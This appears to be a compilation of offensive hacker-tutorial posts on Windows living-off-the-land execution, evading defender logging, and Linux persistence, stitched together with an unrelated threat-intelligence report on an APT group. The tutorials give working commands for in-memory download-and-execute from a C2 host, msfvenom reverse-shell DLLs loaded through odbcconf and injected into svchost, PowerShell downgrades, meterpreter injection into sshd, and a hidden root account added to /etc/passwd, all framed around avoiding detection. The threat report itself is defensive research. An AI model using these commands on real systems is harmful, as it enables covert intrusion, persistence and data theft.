Welcome back, cyberwarriors! 

We hope that throughout the Survival series, you have been learning a lot from us. Today, we introduce Living off the Land techniques that can be abused without triggering alarms. Our goal is to use knowledge from previous articles to get our job done without unnecessary attention from defenders. All the commands we cover in two parts are benign, native, and also available on legacy systems. Not all are well-known, and tracking them all is impossible as they generate tons of logs that are hard to dig through. As you may know, some legitimate software may act suspiciously with its process and driver names. Tons of false positives quickly drain defenders, so in many environments, you can fly under the radar with these commands. 

Today, you’ll learn how to execute different kinds of scripts as substitutes for .ps1 scripts since they can be monitored, create fake drivers, and inject DLLs into processes to get a reverse shell to your C2.

Let’s get started!

Execution and Scripting

Powershell

Let’s recall the basic concepts of stealth in PowerShell from earlier articles. PowerShell is a built-in scripting environment used by system administrators to automate tasks, check system status, and configure Windows. It’s legitimate and not suspicious unless executed where it shouldn’t be. Process creation can be monitored, but this isn’t always the case. It requires effort and software to facilitate such monitoring. The same applies to .ps1 scripts. This is why we learned how to convert .ps1 to .bat to blend in in one of the previous articles. It doesn’t mean you should avoid PowerShell or its scripts, as you can create a great variety of tools with it. 

Here’s a reminder of how to download and execute a script in memory with stealth:

PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://C2/script.ps1')"

Walkthrough: This tells PowerShell to start quickly without loading user profile scripts (-nop), hide the window (-w h), ignore script execution rules (-ep bypass), download a script from a URL, and run it directly in memory (DownloadString + Invoke-Expression).

When you would use it: When you need to fetch a script from a remote server and run it quietly.

Why it’s stealthy: PowerShell is common for admin tasks, and in-memory execution leaves no file on disk for antivirus to scan. Skipping user profile scripts avoids potential monitoring embedded in them.

A less stealthy option would be:

PS > iwr http://c2/script.ps1 | iex 

It’s important to keep in mind that Invoke-WebRequest (iwr) and Invoke-Expression (iex) are often abused by hackers. Later, we’ll cover stealthier ways to download and execute payloads.

CMD

CMD is the classic Windows command prompt used to run batch files and utilities. Although this module focuses on PowerShell, stealth is our main concern, so we cover some CMD commands. With its help, we can chain utilities, redirect outputs to files, and collect system information quietly.

Here’s how to chain enumeration with CMD:

PS > cmd.exe /c "whoami /all > C:\Temp\privs.txt & netstat -ano >> C:\Temp\privs.txt"

Walkthrough: /c runs the command and exits. whoami /all gets user and privilege info and writes it to C:\Temp\privs.txt. netstat -ano appends active network connections to the same file. The user doesn’t see a visible window.

When you would use it: Chaining commands is handy, especially if Script Block Logging is in place and your commands get saved.

Why it’s stealthy: cmd.exe is used everywhere, and writing to temp files looks like routine diagnostics.

cscript.exe

This runs VBScript or JScript scripts from the command line. Older automation relies on it to execute scripts that perform checks or launch commands. Mainly we will use it to bypass ps1 execution monitoring. Below, you can see how we executed a JavaScript script.

PS > cscript //E:JScript //Nologo C:\Temp\script.js

Walkthrough (plain): //E:JScript selects the JavaScript engine, while //Nologo hides the usual header. The final argument points to the script that will be run.

When you would use it: All kinds of use. With the help of AI you can write an enumeration script.

Why it’s stealthy: It’s less watched than PowerShell in some environments and looks like legacy automation.

wscript.exe

By default, it runs Windows Script Host (WSH) scripts (VBScript/JScript), often for scripts showing dialogs. As a pentester, you can run a VBScript in the background or perform shell operations without visible windows.

PS > wscript.exe //E:VBScript C:\Temp\enum.vbs //B

Walkthrough: //B runs in batch mode (no message boxes). The VBScript at C:\Temp\enum.vbs is executed by the Windows Script Host.

When you would use it: Same thing here, it really depends on the script you create. We made a system enumeration script that sends output to a text file. 

Why it’s stealthy: Runs without windows and is often used legitimately.

mshta.exe

Normally, it runs HTML Applications (HTA) containing scripts, used for small admin UIs. For pentesters, it’s a way to execute HTA scripts with embedded code. It requires a graphical interface.

PS > mshta users.hta 

Walkthrough: mshta.exe runs script code in users.hta, which could create a WScript object and execute commands, potentially opening a window with output.

When you would use it: To run a seemingly harmless HTML application that executes shell commands

Why it’s stealthy: It looks like a web or UI component and can bypass some script-only rules.

DLL Loading and Injections

These techniques rely on legitimate DLL loading or registration mechanics to get code running.

Rundll32.exe

Used to load a DLL and call its exported functions, often by installers and system utilities. Pentesters can use it to execute a script or function in a DLL, like a reverse shell generated by msfvenom. Be cautious, as rundll32.exe is frequently abused.

C:\> rundll32.exe C:\reflective_dll.x64.dll,TestEntry

Walkthrough: The command runs rundll32.exe to load reflective_dll.x64.dll and call its TestEntry function.

When you would use it: To execute a DLL’s code in environments where direct execution is restricted.

Why it’s stealthy: rundll32.exe is a common system binary and its activity can blend into normal installer steps.

Regsvr32.exe

In plain terms it adds or removes special Windows files (like DLLs or scriptlets) from the system’s registry so that applications can use or stop using them. It is another less frequently used way to execute DLLs.

PS > regsvr32.exe /u /s .\reflective_dll.x64.dll

Walkthrough: regsvr32 is asked to run the DLL. /s makes it silent. 

When you would use it: To execute a DLL via a registration process, mimicking maintenance tasks.

Why it’s stealthy: Registration operations are normal in IT workflows, so the call can be overlooked.

odbcconf.exe

Normally, odbcconf.exe helps programs connect to databases by setting up drivers and connections. You can abuse it to run your DLLs. Below is an example of how we executed a generated DLL and got a reverse shell

bash > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll

PS > odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”

PS > odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”

Walkthrough: The first odbcconf command tells Windows to register a fake database driver named “Printer-driverX” using a DLL file. The APILevel=2 part makes it look like a legitimate driver. When Windows processes this, it loads file.dll, which runs a reverse shell inside of it. The second odbcconf command, creates a system data source (DSN) named “Printer-driverX” tied to that fake driver, which triggers the DLL to load again, ensuring the malicious code runs.

When you would use it: To execute a custom DLL stealthily, especially when other methods are monitored.

Why it’s stealthy: odbcconf is a legit Windows tool rarely used outside database admin tasks, so it’s not heavily monitored by security tools or admins on most systems. Using it to load a DLL looks like normal database setup activity, hiding the malicious intent.

Installutil.exe

Normally, it is a Windows tool that installs or uninstalls .NET programs, like DLLs or executables, designed to run as services or components. It sets them up so they can work with Windows, like registering them to start automatically, or removes them when they’re no longer needed. In pentest scenarios, the command is used to execute malicious code hidden in a specially crafted .NET DLL by pretending to uninstall it as a .NET service.

PS > InstallUtil.exe /logfile= /LogToConsole=false /U file.dll

Walkthrough: The command tells Windows to uninstall a .NET assembly (file.dll) that was previously set up as a service or component. The /U flag means uninstall, /logfile= skips creating a log file, and /LogToConsole=false hides any output on the screen. If file.dll is a malicious .NET assembly with a custom installer class, uninstalling it can trigger its code, like a reverse shell when the command processes the uninstall. However, for a DLL from msfvenom, this may not work as intended unless it’s specifically a .NET service DLL.

When you would use it:. It’s useful when you have admin access and need to execute a .NET payload stealthily, especially if other methods are unavailable.

Why it’s stealthy: Install utilities are commonly used by developers and administrators.

Mavinject.exe

Essentially, it was designed to help with Application Virtualization, when Windows executes apps in a virtual container. We use it to inject DLLs into running processes to get our code executed. We recommend using system processes for injections, such as svchost.exe.Here is how it’s done:

PS > MavInject.exe 528 /INJECTRUNNING C:\file.dll

Walkthrough: Targets process ID 528 (svchost.exe) and instructs MavInject.exe to inject file.dll into it. When the DLL loads, it runs the code and we get a connection back.

Why you would use it: To inject a DLL for a high-privilege reverse shell, like SYSTEM access. 

Why it’s stealthy: MavInject.exe is a niche Microsoft tool, so it’s rarely monitored by security software or admins, making the injection look like legitimate system behavior.

Summary

Living off the Land techniques matter a lot in Windows penetration testing, as they let you achieve your objectives using only built-in Microsoft tools and signed binaries. That reduces forensic footprints and makes your activity blend with normal admin behavior, which increases the chance of bypassing endpoint protections and detection rules. In Part 1 we covered script execution and DLL injections, some of which will significantly improve your stealth and capabilities. In Part 2, you will explore network recon, persistence, and file management to further evade detection. Defenders can also learn a lot from this to shape the detection strategies. But as it was mentioned earlier, monitoring system binaries might generate a lot of false positives. 

Resources:

https://lofl-project.github.io

https://lolbas-project.github.io/#

The post PowerShell for Hackers – Survival Edition, Part 4: Blinding Defenders first appeared on Hackers Arise.

Welcome back aspiring hackers!

In this chapter, we’re going deeper into the ways defenders can spot you and the traps they set to catch you off guard. We’re talking about defensive mechanisms and key Windows Event IDs that can make your life harder if you’re not careful. Every hacker knows that understanding defenders’ tools and habits is half the battle.

No system is perfect, and no company has unlimited resources. Every growing organization needs analysts constantly tuning alerts and security triggers as new software and users are added to the network. It’s tedious and repetitive work. Too many alerts can exhaust even the sharpest defenders. Eye fatigue, late nights, and false positives all drain attention. That’s where you get a small window to make a move, or a chance to slip through unnoticed.

Assuming nobody is watching is a beginner’s mistake. We’ve seen many beginners lose access to entire networks simply because they underestimated defensive mechanisms. The more professional you become, the less reckless you are, and the sharper your actions become. Always evaluate your environment before acting.

Visibility

Defenders have a few main ways they can detect you, and knowing these is crucial if you want to survive:

Process Monitoring

Process monitoring allows defenders to keep an eye on what programs start, stop, or interact with each other. Every process, PowerShell included, leaves traces of its origin (parent) and its children. Analysts use this lineage to spot unusual activity.

For example, a PowerShell process launched by a Microsoft Word document might be suspicious. Security teams use Endpoint Detection and Response (EDR) tools to gather this data, and some providers, like Red Canary, correlate it with other events to find malicious patterns.

Command Monitoring

Command monitoring focuses on what commands are being run inside the process. For PowerShell, this means watching for specific cmdlets, parameters, or encoded commands. Alone, a command might look innocent, but in combination with process monitoring and network telemetry, it can be a strong indicator of compromise.

Network Monitoring

Attackers often use PowerShell to download tools or exfiltrate data over the network. Monitoring outgoing and incoming connections is a reliable way for defenders to catch malicious activity. A common example is an Invoke-Expression command that pulls content from an external server via HTTP.

What They’re Watching

Let’s break down the logs defenders rely on to catch PowerShell activity:

Windows Security Event ID 1101: AMSI

AMSI stands for Antimalware Scan Interface. Think of it as a security checkpoint inside Windows that watches scripts running in memory, including PowerShell, VBScript, and WMI.

AMSI doesn’t store logs in the standard Event Viewer. Instead, it works with Event Tracing for Windows (ETW), a lower-level logging system. If you bypass AMSI, you can execute code that normally would trigger antivirus scans, like dumping LSASS or running malware, without immediate detection.

But AMSI bypasses are risky. They’re often logged themselves, and Microsoft actively patches them. Publicly available bypasses are a trap for anyone trying to survive quietly.

Windows Security Event ID 4104: ScriptBlock Logging

ScriptBlock logging watches the actual code executed in PowerShell scripts. There are two levels:

Automatic (default): Logs script code that looks suspicious, based on Microsoft’s list of dangerous cmdlets and .NET APIs.

Global: Logs everything with no filters.

Event ID 4104 collects this information. You can bypass this by downgrading PowerShell to version 2, if it exists, but even that downgrade can be logged. Subtle obfuscation is necessary. Here is how you downgrade:

PS > powershell -version 2

Note, that ScriptBlock logging only works with PowerShell 5 and above.

Windows Security Event ID 400: PowerShell Command-Line Logging

Even older PowerShell versions have Event ID 400, which logs when a PowerShell process starts. It doesn’t show full commands, but the fact that a process started is noted.

Windows Security Event IDs 800 & 4103: Module Loading and Add-Type

Module logging (Event ID 800) tracks which PowerShell modules are loaded, including the source code for commands run via Add-Type. This is important because Add-Type is used to compile and run C# code.

In PowerShell 5+, Event ID 4103 also logs this context. If a defender sees unusual or rarely-used modules being loaded, it’s a red flag.

Sysmon Event IDs

Sysmon is a specialized Windows tool that gives defenders extra visibility. Usually defenders monitor tracks:

Event ID 1: Every new process creation.

Event ID 7: Module loads, specifically DLLs.

Event ID 10: Process Access, for instance accessing lsass.exe to dump credentials.

For PowerShell, Event ID 7 can flag loads of System.Management.Automation.dll or related modules, which is often a clear indicator of PowerShell use. Many other Sysmon IDs might be monitored, make sure you spend some time to learn about some of them.

To check if Sysmon is running:

PS > Get-Service -Name sysmon

To view recent Sysmon events:

PS > Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvent 20 | Format-List TimeCreated, Id, Message

Not all systems have Sysmon, but where it’s installed, defenders trust it. Essentially, it is like a high-tech security camera that is detailed, persistent, and hard to fool.

Endpoint Detection and Response (EDR) Tools

EDR tools combine all the telemetry above such as processes, commands, modules, network traffic to give defenders a full picture of activity. If you’re working on a system with EDR, every move is being watched in multiple ways.

What’s Likely to Get You Spotted

Attackers are predictable. If you run the same commands repeatedly, defenders notice. Red Canary publishes filters that show suspicious PowerShell activity. Not every system uses these filters, but they’re widely known.

Encoded Commands

Using -encodedcommand or Base64 can trigger alerts. Base64 itself isn’t suspicious, but repeated or unusual use is a warning sign.

Obfuscation & Escape Characters

Adding extra characters (^, +, $, %) can throw off detection, but too much is suspicious.

Suspicious Cmdlets

Some cmdlets are commonly abused. These include ones for downloading files, running scripts, or managing processes. Knowing which ones are flagged helps you avoid careless mistakes.

Suspicious Script Directories

Scripts running from odd locations, like Public folders, are more likely to be flagged. Stick to expected directories or in-memory execution.

Workarounds

Even when your movement is restricted, options exist.

1) Use native binaries. Legitimate Windows programs are less suspicious.

2) Less common commands. Avoid widely abused cmdlets to reduce detection.

3) Living-Off-the-Land. Using built-in tools creatively keeps you under the radar.

We’ll cover these in more depth in the next chapter, how commands meant for one thing can be adapted for another while remaining invisible.

Net Trick

The net command is powerful, but can be monitored. Use net1 to bypass some filters in really strict environments:

PS > net1 user

This lets you run the full suite of net commands quietly.

Logs

Deleting logs can sometimes be a good idea, but you should know that Event ID 1102 flags it immediately. Also, even less experienced defenders can trace lateral movement from log records. Traffic spikes or SMB scans are noticed quickly.

Methods to Evade Detection

Focus on minimizing your footprint and risk. High-risk, complex techniques are not part of this guide.

Avoid Writing Files

Files on disk can betray your tactics. If saving is necessary, use native-looking names, unusual folders, and adjust timestamps. Stick to in-memory execution where possible. Lesser-known commands like odbconf.exe and cmstp.exe are safer and often overlooked. Use them for execution.

PowerShell Version 2

Downgrading can bypass ScriptBlock logging. But you need to obfuscate things carefully. Subtlety is key here.

Change Forwarder Settings

Tweaking log collectors can buy time but is riskier. Always revert these changes after finishing. It’s always good to have a backup of the config files.

Credential Reuse & Blending In

Use known credentials rather than brute-forcing. Work during normal hours to blend in well and dump traffic to understand local activity. Using promiscuous mode can help you get richer network insights. Targeting common ports for file distribution is also a good idea and blends in well with normal traffic patterns.

Summary

In this part we learned more about the enemy and how defenders see your every move. We broke down the main ways attackers get caught, such as process monitoring, command monitoring and network monitoring. From there, we explored Windows Event IDs and logging mechanisms. We emphasized survival strategies that help you minimize footprint by using in-memory execution, sticking to lesser-known or native commands, using version 2 PowerShell or blending in with normal traffic. Practical tips like the net1 trick and log handling process give you an idea how to avoid raising alarms.

When you understand how defenders observe, log, and respond it lets you operate without tripping alerts. By knowing what’s watched and how, you can plan your moves more safely and survive longer. Our goal here was to show you the challenges you’ll face on Windows systems in restricted environments and give you a real sense that you’re never truly alone.

The post PowerShell for Hackers-Survival Edition, Part 3: Know Your Enemy first appeared on Hackers Arise.

Introduction

Mysterious Elephant is a highly active advanced persistent threat (APT) group that we at Kaspersky GReAT discovered in 2023. It has been consistently evolving and adapting its tactics, techniques, and procedures (TTPs) to stay under the radar. With a primary focus on targeting government entities and foreign affairs sectors in the Asia-Pacific region, the group has been using a range of sophisticated tools and techniques to infiltrate and exfiltrate sensitive information. Notably, Mysterious Elephant has been exploiting WhatsApp communications to steal sensitive data, including documents, pictures, and archive files.

The group’s latest campaign, which began in early 2025, reveals a significant shift in their TTPs, with an increased emphasis on using new custom-made tools as well as customized open-source tools, such as BabShell and MemLoader modules, to achieve their objectives. In this report, we will delve into the history of Mysterious Elephant’s attacks, their latest tactics and techniques, and provide a comprehensive understanding of this threat.

Additional information about this threat is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

The emergence of Mysterious Elephant

Mysterious Elephant is a threat actor we’ve been tracking since 2023. Initially, its intrusions resembled those of the Confucius threat actor. However, further analysis revealed a more complex picture. We found that Mysterious Elephant’s malware contained code from multiple APT groups, including Origami Elephant, Confucius, and SideWinder, which suggested deep collaboration and resource sharing between teams. Notably, our research indicates that the tools and code borrowed from the aforementioned APT groups were previously used by their original developers, but have since been abandoned or replaced by newer versions. However, Mysterious Elephant has not only adopted these tools, but also continued to maintain, develop, and improve them, incorporating the code into their own operations and creating new, advanced versions. The actor’s early attack chains featured distinctive elements, such as remote template injections and exploitation of CVE-2017-11882, followed by the use of a downloader called “Vtyrei”, which was previously connected to Origami Elephant and later abandoned by this group. Over time, Mysterious Elephant has continued to upgrade its tools and expanded its operations, eventually earning its designation as a previously unidentified threat actor.

Latest campaign

The group’s latest campaign, which was discovered in early 2025, reveals a significant shift in their TTPs. They are now using a combination of exploit kits, phishing emails, and malicious documents to gain initial access to their targets. Once inside, they deploy a range of custom-made and open-source tools to achieve their objectives. In the following sections, we’ll delve into the latest tactics and techniques used by Mysterious Elephant, including their new tools, infrastructure, and victimology.

Spear phishing

Mysterious Elephant has started using spear phishing techniques to gain initial access. Phishing emails are tailored to each victim and are convincingly designed to mimic legitimate correspondence. The primary targets of this APT group are countries in the South Asia (SA) region, particularly Pakistan. Notably, this APT organization shows a strong interest and inclination towards diplomatic institutions, which is reflected in the themes covered by the threat actor’s spear phishing emails, as seen in bait attachments.

Spear phishing email used by Mysterious Elephant

For example, the decoy document above concerns Pakistan’s application for a non-permanent seat on the United Nations Security Council for the 2025–2026 term.

Malicious tools

Mysterious Elephant’s toolkit is a noteworthy aspect of their operations. The group has switched to using a variety of custom-made and open-source tools instead of employing known malware to achieve their objectives.

PowerShell scripts

The threat actor uses PowerShell scripts to execute commands, deploy additional payloads, and establish persistence. These scripts are loaded from C2 servers and often use legitimate system administration tools, such as curl and certutil, to download and execute malicious files.

Malicious PowerShell script seen in Mysterious Elephant’s 2025 attacks

For example, the script above is used to download the next-stage payload and save it as ping.exe. It then schedules a task to execute the payload and send the results back to the C2 server. The task is set to run automatically in response to changes in the network profile, ensuring persistence on the compromised system. Specifically, it is triggered by network profile-related events (Microsoft-Windows-NetworkProfile/Operational), which can indicate a new network connection. A four-hour delay is configured after the event, likely to help evade detection.

BabShell

One of the most recent tools used by Mysterious Elephant is BabShell. This is a reverse shell tool written in C++ that enables attackers to connect to a compromised system. Upon execution, it gathers system information, including username, computer name, and MAC address, to identify the machine. The malware then enters an infinite loop of performing the following steps:

1. It listens for and receives commands from the attacker-controlled C2 server.
2. For each received command, BabShell creates a separate thread to execute it, allowing for concurrent execution of multiple commands.
3. The output of each command is captured and saved to a file named output_[timestamp].txt, where [timestamp] is the current time. This allows the attacker to review the results of the commands.
4. The contents of the output_[timestamp].txt file are then transmitted back to the C2 server, providing the attacker with the outcome of the executed commands and enabling them to take further actions, for instance, deploy a next-stage payload or execute additional malicious instructions.

BabShell uses the following commands to execute command-line instructions and additional payloads it receives from the server:

Customized open-source tools

One of the latest modules used by Mysterious Elephant and loaded by BabShell is MemLoader HidenDesk.

MemLoader HidenDesk is a reflective PE loader that loads and executes malicious payloads in memory. It uses encryption and compression to evade detection.

MemLoader HidenDesk operates in the following manner:

1. The malware checks the number of active processes and terminates itself if there are fewer than 40 processes running — a technique used to evade sandbox analysis.
2. It creates a shortcut to its executable and saves it in the autostart folder, ensuring it can restart itself after a system reboot.
3. The malware then creates a hidden desktop named “MalwareTech_Hidden” and switches to it, providing a covert environment for its activities. This technique is borrowed from an open-source project on GitHub.
4. Using an RC4-like algorithm with the key D12Q4GXl1SmaZv3hKEzdAhvdBkpWpwcmSpcD, the malware decrypts a block of data from its own binary and executes it in memory as a shellcode. The shellcode’s sole purpose is to load and execute a PE file, specifically a sample of the commercial RAT called “Remcos” (MD5: 037b2f6233ccc82f0c75bf56c47742bb).

Another recent loader malware used in the latest campaign is MemLoader Edge.

MemLoader Edge is a malicious loader that embeds a sample of the VRat backdoor, utilizing encryption and evasion techniques.

It operates in the following manner:

1. The malware performs a network connectivity test by attempting to connect to the legitimate website bing.com:445, which is likely to fail since the 445 port is not open on the server side. If the test were to succeed, suggesting that the loader is possibly in an emulation or sandbox environment, the malware would drop an embedded picture on the machine and display a popup window with three unresponsive mocked-up buttons, then enter an infinite loop. This is done to complicate detection and analysis.
2. If the connection attempt fails, the malware iterates through a 1016-byte array to find the correct XOR keys for decrypting the embedded PE file in two rounds. The process continues until the decrypted data matches the byte sequence of MZ\x90, indicating that the real XOR keys are found within the array.
3. If the malware is unable to find the correct XOR keys, it will display the same picture and popup window as before, followed by a message box containing an error message after the window is closed.
4. Once the PE file is successfully decrypted, it is loaded into memory using reflective loading techniques. The decrypted PE file is based on the open-source RAT vxRat, which is referred to as VRat due to the PDB string found in the sample:
   

   C:\Users\admin\source\repos\vRat_Client\Release\vRat_Client.pdb

WhatsApp-specific exfiltration tools

Spying on WhatsApp communications is a key aspect of the exfiltration modules employed by Mysterious Elephant. They are designed to steal sensitive data from compromised systems. The attackers have implemented WhatsApp-specific features into their exfiltration tools, allowing them to target files shared through the WhatsApp application and exfiltrate valuable information, including documents, pictures, archive files, and more. These modules employ various techniques, such as recursive directory traversal, XOR decryption, and Base64 encoding, to evade detection and upload the stolen data to the attackers’ C2 servers.

• Uplo Exfiltrator

The Uplo Exfiltrator is a data exfiltration tool that targets specific file types and uploads them to the attackers’ C2 servers. It uses a simple XOR decryption to deobfuscate C2 domain paths and employs a recursive depth-first directory traversal algorithm to identify valuable files. The malware specifically targets file types that are likely to contain potentially sensitive data, including documents, spreadsheets, presentations, archives, certificates, contacts, and images. The targeted file extensions include .TXT, .DOC, .DOCX, .PDF, .XLS, .XLSX, .CSV, .PPT, .PPTX, .ZIP, .RAR, .7Z, .PFX, .VCF, .JPG, .JPEG, and .AXX.

• Stom Exfiltrator

The Stom Exfiltrator is a commonly used exfiltration tool that recursively searches specific directories, including the “Desktop” and “Downloads” folders, as well as all drives except the C drive, to collect files with predefined extensions. Its latest variant is specifically designed to target files shared through the WhatsApp application. This version uses a hardcoded folder path to locate and exfiltrate such files:

%AppData%\\Packages\\xxxxx.WhatsAppDesktop_[WhatsApp ID]\\LocalState\\Shared\\transfers\\

The targeted file extensions include .PDF, .DOCX, .TXT, .JPG, .PNG, .ZIP, .RAR, .PPTX, .DOC, .XLS, .XLSX, .PST, and .OST.

• ChromeStealer Exfiltrator

The ChromeStealer Exfiltrator is another exfiltration tool used by Mysterious Elephant that targets Google Chrome browser data, including cookies, tokens, and other sensitive information. It searches specific directories within the Chrome user data of the most recently used Google Chrome profile, including the IndexedDB directory and the “Local Storage” directory. The malware uploads all files found in these directories to the attacker-controlled C2 server, potentially exposing sensitive data like chat logs, contacts, and authentication tokens. The response from the C2 server suggests that this tool was also after stealing files related to WhatsApp. The ChromeStealer Exfiltrator employs string obfuscation to evade detection.

Infrastructure

Mysterious Elephant’s infrastructure is a network of domains and IP addresses. The group has been using a range of techniques, including wildcard DNS records, to generate unique domain names for each request. This makes it challenging for security researchers to track and monitor their activities. The attackers have also been using virtual private servers (VPS) and cloud services to host their infrastructure. This allows them to easily scale and adapt their operations to evade detection. According to our data, this APT group has utilized the services of numerous VPS providers in their operations. Nevertheless, our analysis of the statistics has revealed that Mysterious Elephant appears to have a preference for certain VPS providers.

VPS providers most commonly used by Mysterious Elephant (download)

Victimology

Mysterious Elephant’s primary targets are government entities and foreign affairs sectors in the Asia-Pacific region. The group has been focusing on Pakistan, Bangladesh, and Sri Lanka, with a lower number of victims in other countries. The attackers have been using highly customized payloads tailored to specific individuals, highlighting their sophistication and focus on targeted attacks.

The group’s victimology is characterized by a high degree of specificity. Attackers often use personalized phishing emails and malicious documents to gain initial access. Once inside, they employ a range of tools and techniques to escalate privileges, move laterally, and exfiltrate sensitive information.

• Most targeted countries: Pakistan, Bangladesh, Afghanistan, Nepal and Sri Lanka

Countries targeted most often by Mysterious Elephant (download)

• Primary targets: government entities and foreign affairs sectors

Industries most targeted by Mysterious Elephant (download)

Conclusion

In conclusion, Mysterious Elephant is a highly sophisticated and active Advanced Persistent Threat group that poses a significant threat to government entities and foreign affairs sectors in the Asia-Pacific region. Through their continuous evolution and adaptation of tactics, techniques, and procedures, the group has demonstrated the ability to evade detection and infiltrate sensitive systems. The use of custom-made and open-source tools, such as BabShell and MemLoader, highlights their technical expertise and willingness to invest in developing advanced malware.

The group’s focus on targeting specific organizations, combined with their ability to tailor their attacks to specific victims, underscores the severity of the threat they pose. The exfiltration of sensitive information, including documents, pictures, and archive files, can have significant consequences for national security and global stability.

To counter the Mysterious Elephant threat, it is essential for organizations to implement robust security measures, including regular software updates, network monitoring, and employee training. Additionally, international cooperation and information sharing among cybersecurity professionals, governments, and industries are crucial in tracking and disrupting the group’s activities.

Ultimately, staying ahead of Mysterious Elephant and other APT groups requires a proactive and collaborative approach to cybersecurity. By understanding their TTPs, sharing threat intelligence, and implementing effective countermeasures, we can reduce the risk of successful attacks and protect sensitive information from falling into the wrong hands.

Indicators of compromise

More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes

Malicious documents
c12ea05baf94ef6f0ea73470d70db3b2 M6XA.rar
8650fff81d597e1a3406baf3bb87297f 2025-013-PAK-MoD-Invitation_the_UN_Peacekeeping.rar

MemLoader HidenDesk
658eed7fcb6794634bbdd7f272fcf9c6 STI.dll
4c32e12e73be9979ede3f8fce4f41a3a STI.dll

MemLoader Edge
3caaf05b2e173663f359f27802f10139 Edge.exe, debugger.exe, runtime.exe
bc0fc851268afdf0f63c97473825ff75

BabShell
85c7f209a8fa47285f08b09b3868c2a1
f947ff7fb94fa35a532f8a7d99181cf1

Uplo Exfiltrator
cf1d14e59c38695d87d85af76db9a861 SXSHARED.dll

Stom Exfiltrator
ff1417e8e208cadd55bf066f28821d94
7ee45b465dcc1ac281378c973ae4c6a0 ping.exe
b63316223e952a3a51389a623eb283b6 ping.exe
e525da087466ef77385a06d969f06c81
78b59ea529a7bddb3d63fcbe0fe7af94

ChromeStealer Exfiltrator
9e50adb6107067ff0bab73307f5499b6 WhatsAppOB.exe

Domains/IPs

hxxps://storycentral[.]net
hxxp://listofexoticplaces[.]com
hxxps://monsoonconference[.]com
hxxp://mediumblog[.]online:4443
hxxp://cloud.givensolutions[.]online:4443
hxxp://cloud.qunetcentre[.]org:443
solutions.fuzzy-network[.]tech
pdfplugins[.]com
file-share.officeweb[.]live
fileshare-avp.ddns[.]net
91.132.95[.]148
62.106.66[.]80
158.255.215[.]45

Welcome back, aspiring hackers!

In part one of our Linux persistence series, we covered the basics – the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.

We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into LD_PRELOAD, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with gsocket, a powerful tunneling tool that can keep a connection alive even when the network is working against you.

By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.

In-Memory

An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.

In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:

c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin

Here, msfvenom generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port. 

exitfunc=thread controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.

StagerRetryCount=999999 instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.

With pgrep you list processes to inject your payload into

target#> pgrep -x sshd

target#> mv /root/meter64.bin /root/mmap64.bin

target#> inject_linux 1032 mmap64.bin

The inject_linux utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as mmap64.bin.

Pros: Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.

Cons: Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.

While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.

Configs

Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.

One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:

target# > openssl passwd -1 -salt test P@ssw0rd123

target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd

The first command uses openssl passwd with the -1 flag to generate an MD5-based hashed password (-salt test specifies a custom salt, here “test”) for the chosen password P@ssw0rd123. The output is a string in the format expected by /etc/passwd.

The second command appends a new entry to /etc/passwd for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and /bin/sh as its shell. This effectively creates a hidden superuser account.

Finally, make sure you have modified the /etc/ssh/sshd_config file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (PermitRootLogin yes). This ensures you can reconnect remotely, provided the target system is reachable over the network.

After that restart the SSH service

target# > service sshd restart

Pros:  Survives reboots, and does not require running any malicious executable.

Cons: Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.

